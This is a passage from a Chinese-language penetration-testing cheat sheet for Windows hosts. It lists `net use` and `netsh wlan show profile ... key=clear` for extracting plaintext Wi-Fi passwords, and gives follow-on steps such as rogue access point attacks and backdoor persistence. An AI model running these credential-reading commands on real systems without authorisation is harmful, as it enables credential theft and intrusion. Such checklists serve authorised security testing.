| `net use`                                                                                                      | 列出網路磁碟掛載、憑證綁定、AD 使用紀錄                                                                                                                                                                                                                                                                                                         | 有磁碟掛載                                                         | 掃描共用資料夾找憑證、內部資源與 Payload 放置點                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `netsh wlan show profile`                                                                                      | 檢查無線網路清單                                                                                                                                                                                                                                                                                                                      | 有 Wi-Fi 設定檔                                                   | 下一步使用 key=clear 取出密碼                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `netsh wlan show profile <ProfileName> key=clear`                                                              | 顯示明文 Wi-Fi 密碼                                                                                                                                                                                                                                                                                                                 | 密碼出現                                                          | 進行無線網路滲透（無線中繼、偽 AP 攻擊）                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |

***

> 💡此表格可配合每次主機滲透過程逐項操作，逐條判斷是否能提權、轉向、獲取憑證或進行後門維持。 若需匯出 PDF、Markdown、或轉成可執行腳本（如 AutoRecon 模組），可進一步告知。
